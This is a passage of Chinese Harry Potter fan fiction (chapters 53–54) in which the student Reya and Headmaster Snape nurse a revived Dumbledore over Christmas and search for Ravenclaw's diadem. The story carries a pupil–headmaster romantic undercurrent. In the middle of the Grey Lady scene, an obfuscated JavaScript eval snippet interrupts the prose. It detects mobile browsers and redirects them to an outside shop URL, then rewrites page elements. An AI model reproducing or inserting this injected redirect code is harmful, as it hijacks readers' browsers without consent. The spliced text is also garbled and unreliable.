“诶?”蕾雅错愕地回过头,发现斯内普绷着脸,看不出情绪。 “进去,睡觉。”他的语气不容置疑,随手挥动魔杖,卧室的门应声打开,“别让我重复一遍。” “啊……呃!”蕾雅瞪大了眼睛,刹那间,她的脸像壁炉里的火焰般染上了绯红。 她不敢再看他,低头快步走向卧室,用几乎听不见的音量轻声道:“……晚安,先生。” “嗯。”斯内普的回应同样低沉。 清洁咒过后,蕾雅将校服裙子脱下,和外衣、衬衫一起叠好放在枕头边,犹豫着爬上这张过分华丽的四柱床。 校长的床铺是比她寝室的宽阔柔软不少,她盯着暗红色的床慢,打着哈欠翻了个身,发现萦绕鼻端的安心气味此时就像是今晚漫天遍地的银雪飞絮,将她全然裹了个遍。 她把快要烫得发疼的脸埋进他的被子和枕头里,那感觉就是—— 他拥抱着她。 一门之隔,斯内普保持着蕾雅离开时候的姿势坐在壁炉前面。直到确认听见她拉上床幔,盖好被子发出的细碎声音,他才起身回到办公桌,继续晚上外出前未完成的工作。 手边唯一的灯盏如同孤悬夜空的星辰,陪伴着他。 此心也正是今夜静雪覆地,一片澄澈安宁。 53.平安 邓布利多是在平安夜的下午醒过来的,醒来的时机好得让斯内普几乎开始后悔,没早点把圣诞布丁加进他的治疗清单里。 彼时,蕾雅正在房间的另一侧,轻手轻脚地整理着斯内普半夜带过来的邓布利多行李。午后的阳光从庭院厚厚的积雪上反射进房间内,洋洋洒洒地在两个人身上编织出一张金灿温柔的网,也让刚刚睁开眼睛的邓布利多硬是错愕地定定看了几十秒。 “噢……”老巫师怔愣着扫视这个对他来说过分陌生又过分现代的房间,直到视线停在床边那道黑色身影上,他扬起一丝微笑:“西弗勒斯,你做到了,不是吗?” 斯内普拿着魔药瓶的手顿住,仿佛不认识邓布利多一样紧紧打量他一阵。放下药瓶,他掂起魔杖朝老巫师施展一道诊断咒,接着是一道恢复咒语,确认过后才平淡地开口道:“很好,看来你还保持着基本的记忆。” “邓布利多先生!”蕾雅闻声慌忙放下手中的东西,快步凑到邓布利多的身边,微微欠身,笑着问道:“太好了!您终于醒了!口渴吗?我去跟您倒杯水!”话一说完,她转身跑到房间外面去。 邓布利多显然对这位格兰芬多学生出现在这里感到惊讶,随即转向斯内普,问道:“现在是什么时间?这里是哪里?” “平安夜。这里是莱恩哈特家。”斯内普伸手谨慎地扶邓布利多坐起来,但嘴里的话却一点不留情:“满意了吗,邓布利多?如你所愿,他们什么都知道了。” “莱恩哈特家?!”邓布利多的眼里闪过更多的讶异,靠在床边上自言自语般喃喃道:“我知道你不能送我去凤凰社,但我确实没想到会是……雷格纳呢?” “还在魔法部。”斯内普漠然地答着,紧接着问:“感觉怎么样?右手是回天乏力,魔力也大幅度减退,其余的,我只能说我尽力了。” 邓布利多顺着他的话,低头端详着自己仍旧枯黑的右手,又试着动动身体其他部分。近四个月的卧床着实让大部分的肌肉都萎缩,此刻他俨然是一个瘦骨嶙峋的老人。他虚弱地笑了笑,淡淡道:“确实如你所说,但这是最好的结局了。谢谢你,西弗勒斯,你做得很好。” 斯内普紧绷着下颚,心中翻上许多复杂的情绪,随后把头偏到另一侧,不愿再多说什么。邓布利多微笑着,那双刚刚苏醒过来的蓝眼睛虽有些倦怠,却仍能锐利地洞察一切。就在醒过来的短短几分钟里,老巫师早已察觉到斯内普这几个月的变化,甚至留意到两人手腕上相似的手环。 这时,蕾雅端着茶杯踱进房间,疑惑地看着两人之间微妙的氛围。她停下脚步,犹豫片刻,最终盯着斯内普征求意见般开口道:“校长,邓布利多先生能吃点什么吗?我去给他拿点?” “给他拿点补血剂。”斯内普眼神掠过邓布利多,面无表情地说道。 “噢……要是还有点甜点就最好不过了,蕾雅。”邓布利多接过她手里的茶杯,眨了眨眼睛说着。 斯内普立刻不满地打断他们的对话:“我不认为这是个好主意。” 蕾雅赶紧看向斯内普,说道:“邓布利多先生刚醒来,吃点甜的确实也正好补充体力。” 斯内普的眉头轻轻皱起,但没再反驳,算是勉强默认。 蕾雅露出稍稍胜利的笑容,朝邓布利多得意地点点头,转身离开房间。 看来当初的安排是对的。邓布利多乐呵呵地目送她离去的身影想到。 房间重归宁静,邓布利多注视着床边故意不望向蕾雅离开方向的斯内普,声音带着几分沙哑的柔和:“西弗勒斯,你现在明白自己的感情了,对吗?” 斯内普的身体骤然僵了一下,双臂紧抱着:“这不关你事,邓布利多。我假设你还记得我们仍有一场战争要关心?” 他的话语似是从喉咙滚出,锋利地带着几分强硬的抵触,是要立刻割断延伸这个话题的可能性。 邓布利多和蔼地笑了笑,依然以那份温和的口气说道:“我不会干涉你的事,但你应该明白,有些感情的力量比你想象得更强大,它能指引我们走过最黑暗的时刻。” 斯内普的黑眸平静而空洞,不屑一顾地冷哼一声,是不打算给邓布利多开始宣扬‘爱与和平’的机会。 蕾雅再次用魔杖漂浮着一个托盘重新走进来,托盘上放着补血剂、两盘布丁、一小碟曲奇、以及两杯奶茶和一杯红茶。还没等她走近,斯内普抬起魔杖在床边上变出一张小桌。 “谢谢您。”蕾雅笑着向他道谢,将托盘稳稳放在桌上,拉过一张椅子坐下。 这下,两个人分明看见一侧的老巫师脸上浮现出更明显的慈父光辉。蕾雅不明所以地歪歪脑袋,只好也朝邓布利多回以一个微笑。 “先把补血剂喝了。”斯内普板着脸,随手挥动魔杖,让药剂和奶茶漂浮到邓布利多的手边。“然后我们来说说这几个月发生的事。” 邓布利多没有反驳地照做。而后,斯内普将老巫师“死后”发生的所有事情按照时间顺序梳理一遍,包括魔法部倒台、斯内普救了雷格纳、哈利的逃亡、伏地魔拿走了邓布利多的魔杖、霍格沃茨被卡罗兄妹掌控、邓布利多军、以及前两天给哈利送剑和魂器的事。 邓布利多挖着布丁认真地听,时不时眯起眼捋着那把现在没有任何光泽可言的胡子,缓缓说道:“看来我的预估还是准确的。” “预估?”斯内普探出手拿一块饼干,脸上泛起一些愠色:“你是不是该告诉我们魂器的真相?你对波特的盲目信任简直让人难以置信。” “我从未盲目信任。”邓布利多长叹一声,将装布丁的空盘子放回托盘里,“我从来都是预料到你会在他身后,西弗勒斯。” “那我只能说,你对我的期望未免过高了。”斯内普轻蔑地冷笑着,“我可没有你想象的那样无所不能,至少,我不会在不了解所有事实的情况下,轻易行动。” “恰恰相反,西弗勒斯。”邓布利多平和地摆摆左手,眼中闪烁着浓重的信任:“我从来都知道,你的能力远超我的预料。看看吧,我之所以还能坐在这,都是因为你。” 蕾雅只能安静地吃着布丁,眼睛来回打量着两位深谋远虑的男巫讨论这场战争。两个人几乎可以说是针锋相对般谈着话,气氛紧张得她完全没能找到能插话的余地。 “魂器。”邓布利多缓缓闭上眼睛,仿佛在沉思,“之前我跟哈利从霍拉斯的记忆里看到,如果算上他自己,应该一共是七份。” “你是说,不算——”斯内普忽而瞥一眼身边的蕾雅,掐断了话,只朝邓布利多递过去一个眼神。示意他,蕾雅并不知道哈利本身也是魂器的事。 邓布利多立刻意会,轻轻颔首道,“是。” “加上他自己七份的话……那就是魂器一共有六件。”蕾雅倒是没注意到他们话里有话,很自然地顺着思路说道:“斯内普校长之前说,我们到现在已经摧毁三件魂器。其他的还有哪些呢?” “剩下的三件魂器里有一件是纳吉尼,他身边的蛇。”斯内普解释着,“也就是说,还有两件未知。” “不。”邓布利多轻轻摇头,“当那晚我跟哈利找到那个挂坠盒的时候,我就全部明白了。” “解释。”斯内普简短地说。 “挂坠盒,你们看到哈利摧毁的那个,它是斯莱特林的宝物。”邓布利多陈述道,“伏——” 斯内普猛地抬手打断邓布利多:“现在别用那个词,他加了追踪魔法。” “噢,汤姆。”邓布利多不悦地扯扯嘴角,改口道:“他似乎会特别偏爱本身高贵,而且与霍格沃茨有相关的物品。与斯莱特林挂坠盒一起被他偷走的,还有赫奇帕奇的金杯。” “金杯?!”斯内普惊愕地拧紧眉毛,“你是说,那个金杯竟然也是魂器?” “怎么?”邓布利多略显意外地回应道,“你见过它?” “有个金杯在莱斯特兰奇家的金库里。那天我将假格兰芬多之剑放入金库的时候,亲眼所见。”说到这里,斯内普的脸骤然一沉,忽而变得埋怨地瞪着邓布利多:“你如果肯早点告诉我魂器的事!我早已摧毁金杯!现在,你要波特怎么闯进古灵阁?!” 邓布利多神情也逐渐变得严肃,深深瞄斯内普一眼,:“我确实没有想过魂器之一竟然就在莱斯特兰奇家的金库里。我当初只是觉得这一步,必须由哈利来完成。” “你只是‘觉得’?!”斯内普的语调宛如冰刃一般,脸色也更加阴郁。他心里想着邓布利多一直遮遮掩掩的计划,越想越生气,薄唇旋即卷成愤怒逼人的弧度:“你是打算让那个男孩自己去送死吗?古灵阁的防护是你非常清楚的,甚至连我也不敢轻易尝试!” 蕾雅在一旁静静地听着,被他们之间这种剑拔弩张的氛围吓得缩了缩脖子。她从来没想过,一向和蔼的邓布利多与斯内普之间的相处竟然是这样的。这么想着,她只能本能友好地面带微笑,举起双手,试图用一个安抚的动作缓和气氛。 邓布利多察觉到她的动作,转头温和地将目光投向蕾雅,也暗示斯内普冷静下来。斯内普用眼角略过她,不动声色地端起凉透的红茶抿一口。片刻后,他调整着坐姿,重新思索着开口:“金杯的事再说。还有一件魂器呢?斯莱特林、赫奇帕奇……你不会告诉我,剩下的一件是格兰芬多或者拉文克劳的宝物吧?” “我认为正是。”邓布利多点点头,“考虑到格兰芬多之剑还在我们手上,那么剩下的那件应该是拉文克劳的宝物。” “传说中的冠冕?”斯内普放下手中茶杯,“可那不是失踪几个世纪了?” “或许是的。但我认为汤姆可能已经找到了它,并将其做成魂器。我认为值得一睹。等你们回到霍格沃茨,去拉文克劳休息室、或者……” “幽灵。”斯内普冷冰冰地接过话,“既然这件物品已经失踪这么久,或许只有幽灵会知道它的下落。” “不错。”邓布利多欣然朝他递去赞同的眼神,“去找拉文克劳的幽灵格雷女士,通过这些年的调查,我很确信她是海莲娜·拉文克劳,罗伊娜·拉文克劳的女儿。” 蕾雅此时觉得自己仿佛在听魔法史天书,但听着听着,一个想法突然冒了出来:“可是,格兰芬多之剑已经不在我们手上,就算我跟斯内普校长找到魂器——” “你确实很敏锐,蕾雅。”邓布利多目光深远地笑笑:“实际上,格兰芬多之剑之所以能摧毁魂器,是因为它曾经吸收了蛇怪的毒液。” “我们这又是在讲什么荒诞故事,邓布利多?”斯内普撇着嘴,抬手揉了揉自己的额角,“你别跟我说,是波特二年级的时候在斯莱特林密室里杀死的那一条蛇?” “你知道,我一直很佩服你的洞察力,西弗勒斯。”邓布利多满意地扬起下巴,“我相信密室里还保留着它的尸体。一个牙齿就足够了。不过……”他又陷入思索,“我听说,进入密室需要蛇佬腔。” 斯内普不以为然地挥挥手:“这不是问题。只要有基本的音节就足够了,我们有时间,我可以试试。”说着,他看向蕾雅。 蕾雅立即了然地点点头,“请让我和邓布利多军帮忙,不然校长一个人在学校问来问去,有些太奇怪了。” 邓布利多饶有兴致地观察着面前的两人,他们之间的默契与合作已难以掩饰。他慢慢低头,满足地喝光手中甘甜芬芳的奶茶。 蕾雅见话题差不多,便起身拿起魔杖,指挥着将空盘叠好,随后说道:“我现在去买今晚圣诞晚餐的食材吧?也顺便庆祝邓布利多先生的康复。”她很自然地侧头看向斯内普,笑着问道:“斯内普校长,您也留下来一起吃饭吧?” 斯内普脸上掠过一丝迟疑,还没来得及回答,邓布利多就笑着抢先说道:“庄园的圣诞聚会通常是明天,对吧?那今晚我们就一起吃一顿真正的圣诞节晚餐好吗,西弗勒斯?” 面对两人的殷切目光,斯内普沉默几秒钟,最终冷淡地点头。 蕾雅也露出一个大大的笑容,收拾好托盘离开房间。 等蕾雅出去了,斯内普走向房间角落里的那堆行李,从一个褪色的旧箱子里翻找一阵,最终拿出一 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两人之间的空气又凝滞起来。斯内普心里清楚,自己是永远无法从邓布利多嘴里打探出他不愿意说的事,不禁感到让他有些无力和挫败。 就在这时,厨房传来一阵叮叮咣咣的声响,似乎是蕾雅正在翻找什么东西的声音。斯内普的注意力好像在不知不觉间被这些噪音拉扯过去。他的眉心微微蹙起,试图推开那些情绪。 邓布利多的蓝眼睛在眼镜后面闪烁着,早已将这一切尽收眼底。 他轻笑一声,随手翻开床头柜上的《预言家日报》,眼神调皮地扫过斯内普的脸庞:“啊,圣诞大餐,火鸡,炖菜,苹果派,布丁,红酒,零食……或许还有礼物。唔,麻瓜社区不能用漂浮咒,一个人买食材可能是有些麻烦。” 见斯内普的嘴角微不可察地抽搐一下,邓布利多继续摆弄着报纸,故意用调侃的语气说道:“既然这么担心,不如赶紧出去看看。我今天已经说了太多,正好想安静地看会儿报纸。” 斯内普显得有些不悦,心知邓布利多这分明就是在揶揄自己。但最终,就在听见蕾雅从二楼换好衣服走下楼梯的时候,他沉默着站起身,迈步向门口走去。 “怎么了,先生?啊,您要一起去吗?” 听见门外的对话声,邓布利多轻笑着摇了摇头,嘴角的笑意变得更深。 …… 斯内普哪里会想到过,就在这种灰霾黑暗日子里的圣诞节,他不仅久违地去麻瓜超市买菜,还会在这里跟她一起做自己根本不会做的圣诞餐。 炉灶上的火焰欢快地跳动,锅里的炖菜散发出浓郁的奶油香气,整个厨房充满着温暖可口的气息。烤箱里,苹果派已经开始膨胀,边缘慢慢变得金黄焦脆。蕾雅正站在料理台前专心调配着火鸡的酱料,而斯内普则手持魔杖,轻轻一挥,几颗漂浮的土豆瞬间被整齐地削皮、切块,优雅地飞入一侧的炖锅中。 “先生,原来您还会做饭?”蕾雅好奇地抬头,眼中满是惊讶。 “不会。”斯内普的语调平直得没有一点起伏,也似乎不打算多做解释,但手里的魔杖持续挥动着,食材也井然有序地被排列整齐。 “难不成,您是把这当成熬魔药了?”蕾雅轻笑,用魔杖指挥着烤箱里的苹果派飞到餐桌上,而后将铺好盘的火鸡送入烤箱中。 “闭嘴,莱恩哈特。”斯内普冷冷地回应,手中的炖锅已开始发出轻微的炖煮声,他转过身去,继续不紧不慢地切着沙拉用的蔬菜。 雷格纳刚下班回到家,推开门便看见这样诡异的画面,吓得差点没把手里的公文包扔进烤箱。 “哎西弗勒斯,哪里能让你做饭!”雷格纳脱口而出道,飞快地将西装外套扔在玄关,领带都来不及扯开就匆忙跑过去,“蕾雅!你怎么能让——” 斯内普倒是不以为然地用眼神打断雷格纳的话,依然慢悠悠地挥动着魔杖:“哦,不是我自愿的,雷格纳。只是某位老巫师觉得他需要一顿丰盛的圣诞晚餐,而你知道,邓布利多可从来不会亲自动手。” 这下,雷格纳是彻底愣住了:“邓布利多?他醒了?” “醒了,而且精神很好,好到足以让我为他准备一顿圣诞大餐。”斯内普用疲倦的语调讥讽道,丝毫不在意隔壁没忍住笑的蕾雅。 “噢西弗勒斯,你都把我说伤心了。”邓布利多的嗓音从房间另一头响起,雷格纳立刻又踱过去,搀扶着老巫师走出房门。 蕾雅几乎是捂着肚子在斯内普的身侧笑得放肆,顾不上他向她连连抛来的警告:“莱恩哈特,专注点,如果你不想把火鸡烤成木炭。” 这样的氛围实在是过于美好。蕾雅瞥着斯内普微红的耳尖想到。 无论今后还有多少的苦难,这样的回忆一定能让他们安然度过。 平安夜的晚餐过后,窗外悄然飘起雪花。 三个男巫围在壁炉前,手里捧着用苹果和肉桂煮成的热红酒,讨论着接下来的计划。蕾雅窝在沙发的另一侧,安静地边听着边用魔杖织着从超市买来的毛线团。 只能说,多亏于魔法的力量,能赶在斯内普离开之前,堪堪完成三双毛线袜子。 当然,与欣喜满足的邓布利多完全不一样,斯内普是阴沉着脸木然地收下的。 当零点的钟声响起,蕾雅裹着柔软的毛绒睡衣,仰面躺在床上。她侧过头看着窗纱之外朦胧的细雪,忽而内心就涌起一股冲动。 也许是因为圣诞节吧,人总是倾向在这种节日里做一些比平时愚蠢不少的事情。而他是肯定会这么想的。 她清楚明了地揣摩到他的心意,却依然执着地举起左手,借着夜雪泛起的迷蒙灰白,凝视手腕上的银光。 「圣诞节快乐,先生睡了吗」 她等了很久,久到她以为不会有任何回音,正要闭上眼睛的时候,一阵温热传来。 「嗯,圣诞节快乐」 她半眯着因暖意而湿润的双眼,脸上挂上一抹不自觉的笑容,趁着勇气,她再次看向手腕。 「晚安」 「晚安」 54.冠冕 自邓布利多的精神和身体逐渐恢复,莱恩哈特家俨然变成凤凰社分社。斯内普来的时间更加频繁,他不仅冷着脸为邓布利多调配各种康健的魔药,还按照邓布利多的吩咐,暗中为接下来一触即发的战争奔波周转。而雷格纳也成了邓布利多放在魔法部的眼线,一边和金斯莱·沙克尔暗中联合拉拢所有反对食死徒的势力,一边通过亚瑟·韦斯莱打探凤凰社的动向。 要获得凤凰社消息倒也并不难。圣诞节过后不久,在邓布利多的建议下,雷格纳怂恿着金斯莱让凤凰社开设了一个地下电台节目,持续播报一些魔法界中真实发生的动荡,也是为了让逃亡中的哈利获得一些坚持下去的动力与信念。 除了这些,三个男巫偶尔也在闲暇的时候下一盘巫师象棋,时间祥和得让人有时候忘记他们正身处在战争里。 新年一过,蕾雅开始重新静下心来研读NEWTs相关的书。是当意识到这场战争很快就会迎来结束,那种不得不面对未来选择的恐惧感也紧跟着袭来。有些时候,她甚至觉得这现实到比直面伏地魔还要可怖一点。 以后,要成为什么呢? 好像,她的确从未没有考虑过这个问题。毕竟自五年级以来,她的重心就稍稍地偏向了斯内普和邓布利多的计划。当然,她不会天真地认为自己应该把对未来的考虑和斯内普掺杂在一起,但心底确实希望着,无论未来如何,他至少还会在她的世界里存在。 学期开始的前一天,邓布利多已经完全恢复到了被击落塔楼前的状态。雷格纳在上班的时间里,蕾雅坐在日光明亮的餐桌旁,摊开各科的书籍,一点点按照NEWTs的考试说明整理。而邓布利多则在客厅的壁炉旁,读着雷格纳书房里地藏书,时不时还会瞟一眼丽塔·斯基特给他写的传记调剂心情。 傍晚时分,还没等蕾雅总结完1945年魔法大事记,门口处传来细微的传送和人走动的声音。她探过头去,就听见邓布利多轻快地打了招呼:“噢西弗勒斯,怎么在这个时间来了?” 斯内普? 蕾雅顿了顿,随手拿起放在一侧的魔杖,在配餐台上倒一杯热茶,起身捧着茶杯往客厅的方向走去。 “怎么了,你的脸色不太好。”邓布利多从传记里抬起头,看着走到沙发旁边的斯内普,凝住了眼神。 “你们可能不会相信,那个大难不死的男孩。”斯内普径自坐到沙发上,语气低垂而带有隐约的不悦,“昨天,刚从马尔福庄园里逃出去,差点就落到黑魔王的手里。” “您说什么?”蕾雅讶异地叹出声,走到斯内普身边,把手上的茶递了过去,就看见他脸上有些疲倦的神情,眼角下的划痕和乌青都比平时都要重一些,像是彻夜未眠那样。 “详情不清楚,只知道是格雷伯克在森林捉住了他们。”斯内普看了她一眼,边说着接过她手里的茶,露出嘲讽的笑容:“只能说,我不得不佩服他们三人死里逃生的能力。昨天,碰巧黑魔王不在庄园里,贝拉为了调查哈利·波特手中宝剑的真假,耽误了召唤他的时间。” 斯内普稍作停顿,啜饮一口手中的伯爵红茶,继而说道:“最后,是多比把他们救出去。” “多比?”邓布利多的表情随着斯内普的话而变得严肃,白花花的眉毛也皱在一起,琢磨着小精灵为什么会出现在庄园里。 斯内普把身体靠沙发背上,交叠起双腿,茶杯搁在自己的膝盖上,冷笑一声:“昨晚的马尔福庄园一片混乱,我还是第一次听黑魔王如此狠心对待贝拉特里克斯。害得我莫名其妙熬了半天药剂。” 蕾雅被他的话震得捂住嘴,一回想起那个狠戾扭曲的蛇怪,她的眼睛移向斯内普的眉间,关切地问道:“那,您没事吗?有没有被牵连?” “我并不在现场。”他平淡地掠过她担忧的脸,低低地回答着,“是半夜才被纳西莎叫去。不过,他们的忙乱也不止如此,连地牢里关着的几个人都被救走了。” “都有谁?”邓布利多继而问道,“之前听你说,卢娜·洛夫古德和奥利凡德都被他们捉了。” “还有拉环和迪安·托马斯。”斯内普补充。 “妖精拉环?”邓布利多的眼镜微微折射出光,脸上显现出睿智敏锐的神色:“我想,哈利或许会找到进入古灵阁的办法了。” “希望是这样。”斯内普把喝了一半的红茶推到茶几上方,眯起眼睛。 “我相信他会察觉到的。”邓布利多探出手,从茶几上摸了一块雷格纳不久前从对角巷带回来的柠檬雪宝,说道:“贝拉若花时间调查宝剑,那哈利很快就会明白她的金库中可能藏着什么。就算他没有察觉到金库,我们也可以派人过去暗示,而只要他能借助拉环的帮助,潜入古灵阁是迟早的事。很快了,西弗勒斯。” 斯内普没有立即回应邓布利多,而是把目光放在沙发的一隅,停在身边人米白色的毛绒居家服上。过了一阵,他才漫不经心地答道:“是。” …… 返校后的第二天,蕾雅拉着纳威和金妮在格兰芬多公共休息室里分享了假期的事。金妮先提到凤凰社和哈利怎么偷偷救走被拐走的卢娜,纳威听完,终于长长地松一口气。而蕾雅则按邓布利多和雷格纳编的那样,跟他们说了雷格纳与其他几名具有反抗精神的魔法部官员私下调查如何战胜伏地魔的情况。 她特意隐去了魂器的关键部分,只提到雷格纳曾发现一些能够削弱伏地魔力量的信息,而这需要找到四大学院的宝物。其中,她特别强调着,格兰芬多之剑已由邓布利多安排好留给哈利,斯莱特林挂坠盒和赫奇帕奇金杯也在魔法部有线索,唯独拉文克劳的冠冕,没有任何的头绪,或许还存留在霍格沃茨里。 此时,蕾雅双膝跪在格兰芬多繁重华丽的地毯上,凑前身子,正摊开一张泛黄的羊皮卷在休息室的矮桌上。“虽然具体怎么发挥作用爸爸还没搞懂,但是如果我们能找到拉文克劳的冠冕,或许能成为制胜的关键。”她说。 羊皮卷是一幅斯内普从古书里复制的残页。虽然冠冕的弧形轮廓模糊不清,详细点缀和雕花也已经褪色,但展翅雄鹰的形状、冷湛优雅的宝石依然能被辨认出。 纳威望向插画皱着眉,沉思一会后说道:“所以这是为什么邓布利多要将格兰芬多之剑留给哈利吗?” “我觉得很有可能。”蕾雅硬着头皮把话顺下去,暗自希望这个说法足够合理到能打动他们:“另外的物品早已流散在外,所以邓布利多要哈利从这个方向着手。” “我明白了。”金妮的脸上渐渐铺开恍然大悟,“既然如此,我觉得我们可以借助邓布利多军的力量,进行一次全方位的搜索。” 没等她话说完,蕾雅从身后顺手拿起那本《霍格沃茨:一段校史》,翻开到最后一页,露出一幅简陋的城堡地图。她轻轻用手指划过略微粗糙的纸张,思索着说道:“我们可以将城堡划分成不同的区域,每个人都可以负责一块。” “然后按照学院来分配搜寻任务。”纳威点点头,接着说:“每个人负责自己熟悉的区域,这样效率会更高,风险也更小。” 金妮的眼睛旋即闪烁着兴奋的光芒:“幸好我们有足够的人手。不过,斯莱特林学院——” “那边我们确实没办法了,只能先从能控制的地方寻找。”蕾雅晃晃脑袋,心里知道蛇院会由前斯莱特林院长亲自负责去搜索。她郑重地将那本厚厚的校史合上,感激地看着他们:“如果运气好,也许不用进入斯莱特林就能找到冠冕。” 就这么说着,三个人便迫不及待地召集了邓布利多军,将地图、插画和计划都一一交代过去,同时再三叮嘱绝对不能让其他人知道这件事。 也许是长久以来的黑暗中总算见到一点有意义的微光,邓布利多军每个人的脸上都挂着热烈迫切的期待,行动迅速得让蕾雅不得不感叹让邓布利多军帮忙的决定是正确的。 然而,还没等到第三次训练,这种被燃起的激情又被失望浇灭了——他们搜遍了霍格沃茨每个角落,也没找到冠冕的踪迹。 蕾雅垂着头走出有求必应屋,按照张秋说的那样,在拉文克劳塔楼这条静谧无人的走廊上徘徊等待。 她的小皮鞋在古旧的石板地面上叩出清亮的声音。塔楼的窗户狭长,初春积雪融化开的寒气裹着清冷的流光透入,让缀满的彩色玻璃散出碎片般的光华。虹色般的浮影悬在漆满灰蓝色的墙上,给厚重迷蒙的空间增添许多梦幻的斑斓。 远远,一个如月光般凄冷透亮的幽灵飘浮而来。 “你不是拉文克劳的学生。”格雷女士的幽幽的目光隔着一整条走廊,像月下的冷风一样掠到蕾雅的身上,“这个时间,你为什么在这里。” “请原谅我的打扰,海莲娜女士。”蕾雅的声音是温柔而坚定的,眼神里淌满谦逊的诚意,“我想向您请教关于拉文克劳冠冕的事情。” “我已经对你们这些学生说过很多遍了。”格雷女士不耐烦地别过脸,一头及腰的长发也随着她的动作轻盈地摆动到一侧,仿佛水波般泛起一丝淡淡的光,“我帮不了你,你也不会明白这个冠冕的意义。” “我明白!”蕾雅立刻跑到她面前,抬起头直视着她的眼睛,“那是您母亲的遗物,对吗?我明白它对您的意义。” “是又怎么样。”格雷女士冷笑一声,“是,我从她那里偷走了冠冕。但我不会告诉你它的下落。你们这些人总是如此,一代又一代,贪得无厌、贪得无厌……” “有另外一个人从您身边骗走了它,不是吗?”蕾雅试探性地说道,语气恳切而不失礼貌,“我知道那个人,他特别邪恶,他把你珍重的冠冕骗走,将它变为了一件冰冷邪恶的魂器。” “魂器?”格雷女士的脚步稍稍顿住,空洞的眼眸里有一些动摇和戒备。 格雷女士的反应让蕾雅即刻证实伏地魔确实找过冠冕。于是,她的目光虔诚到希望能用真诚打动她那样,继续尝试引出她的话:“是的,魂器。他的名字叫做汤姆·里德尔,对吗?您不是第一个被他欺骗的人。他将自己的灵魂分为了许多份,其中一份存放在了您珍重的冠冕里。而我们是希望在他之前找到冠冕,否则,不仅是霍格沃茨,整个魔法界都会陷入无尽的黑暗。” 格雷女士听见这个名字后便即刻彻底停住脚步,用悲戚深重的眼神凝视着蕾雅,仿佛想要彻底通过她的绿眸看透她的内心。她的脸上的冷笑和轻蔑感在彩色玻璃的绚光里退散开去,凝成一种深深的怀疑和挣扎。 蕾雅深吸一口气,继续恳求般说道:“我知道,您跟我一样,深爱着霍格沃茨。我向您保证,一旦找到冠冕并摧毁它的黑魔法,我们会按照您的希望处理它,保证它不再沾染任何污秽。” 长发幽灵依旧沉默着端详她,直到确切见到了少女眼中莫名大的诚意和决心。她释然般叹息出声,缓缓开口道:“当时,我偷走冠冕远离了我的母亲。母亲在病重的时分,派了一个爱慕我很久的男人来找我,我怕冠冕被他发现,于是把它藏在了一棵空心树中。” “空心树?”蕾雅惊讶地重复一遍,在脑海中搜索霍格沃茨的附近是否有这样的植物。 “是,在阿尔巴尼亚的一座森林,一个荒凉至极的地方。”格雷女士平静地说,“如果你们找到了冠冕,破坏它的魔力以后,请将它做为拉文克劳的陈列品吧。” “好。”蕾雅恭敬地答应她,试图继续锁定这个地方所处的区域。不过,她很快就意识到,如果伏地魔得知冠冕的位置,它必不可能还停留原处。也就是说,找到海莲娜·拉文克劳后得知的有用线索,只有伏地魔确实找过冠冕这一条。 格雷女士伸出手来在她面前晃了晃,说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13728096|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “时候不早了,快回你的休息室去吧。” “谢谢您!”蕾雅回过神来,深深鞠了一躬,目送着格雷女士的长裙边缘一点一寸扫过古老苍凉的地面。 而后,蕾雅坐在彩色玻璃下的长椅上,紧了紧自己的围巾,才轻轻扯开左手的衣袖。 「我需要见您」 不过片刻,回复便出现在手腕上。 「你在哪里」 「拉文克劳塔楼」 「知道独眼女巫的密道吗」 蕾雅愣了愣,随即意识到斯内普也曾是霍格沃茨的学生,自然也可能知道通往蜜蜂公爵的密道。 「知道」 「在那里等我,注意楼梯上的巡逻」 「好,我会使用幻身咒」 「我马上过去」 蕾雅按照斯内普所说的,给自己施加了幻身咒后,摸着黑来到雕像前。她鼓起勇气在黑夜里直视独眼女巫,抽出魔杖敲击她的背部,轻声念到“左右分离”。雕像的底座应声缓缓旋开,蕾雅悄悄走进漆黑的密道。 一听见入口关上的声音,她立刻点亮了一盏远离出入口的魔法烛火,随后坐到生锈的铁架楼梯上,感知着外面的动静。 不一会,从外面传来了纷乱的脚步,紧接着是斯内普校长低沉冷冽的声音。 “怎么样,费尔奇。” “总感觉有个学生溜下床了,但我没抓到。” “我知道了,你去大理石楼梯那边盯着吧,这里我来巡逻。” 这话听得怎么这么,心虚。蕾雅紧张地用手背抹了抹自己的额头。 费尔奇的脚步声渐行渐远,不久后,她听见身后传来密道被打开发出的沉闷石头摩擦声。 蕾雅回过头,只见斯内普抱着双臂伫立在那里,用低温深沉的眼色凝视着她。她朝他扯了个微笑,很快掏出魔杖,对着身边的楼梯踏面使了一个清洁咒,问道:“您刚去过密室了吗?” “嗯。”斯内普慢慢踱步过来,皱着眉打量一阵,然后无声地坐在她旁边。他慢慢从长袍的口袋里取出一个巨大的牙齿,递到她面前。 蕾雅接过那个如弯钩般的物件,手摸上去的须臾,一股阴森发怵的寒凉感便从光硬的牙齿表面透过她的手掌传来。她不禁开始感慨,二年级的哈利当时是怎么把这样的怪物杀死的。 “摸着真有点吓人。”蕾雅不舒服地皱着鼻子,连忙将牙齿推回给他。 斯内普似乎被她的反应逗到一样,扯了扯嘴角把牙齿收回去。随后平直地问道:“你那边呢。” 蕾雅把垂在脸侧的长发别到耳后,手搁在膝盖上托着腮说:“刚刚问过格雷女士,神秘人确实找过她,她还说原来冠冕被她放在了阿尔巴尼亚森林的一棵空心树里。” “所以确实被做成了魂器。”斯内普别过脸,看向栏杆上大块斑驳的朱红色铁锈,“但冠冕肯定不在原处了。还记得邓布利多说的吗?黑魔王曾回来霍格沃茨求职。按他对霍格沃茨的眷恋,我认为他很可能会把一个魂器藏在这里。” “我也这么想,可是。”蕾雅叹了口气,“邓布利多军几乎已经把整座城堡翻了个遍,也没找到。地窖那边也没有吗?” 斯内普缓缓摇了摇头。 “唔……”蕾雅的另一只手也不自觉地抬到膝盖上,脸埋在双手之间,呢喃着:“以您对他的了解,您觉得他会把魂器藏到哪里呢。” 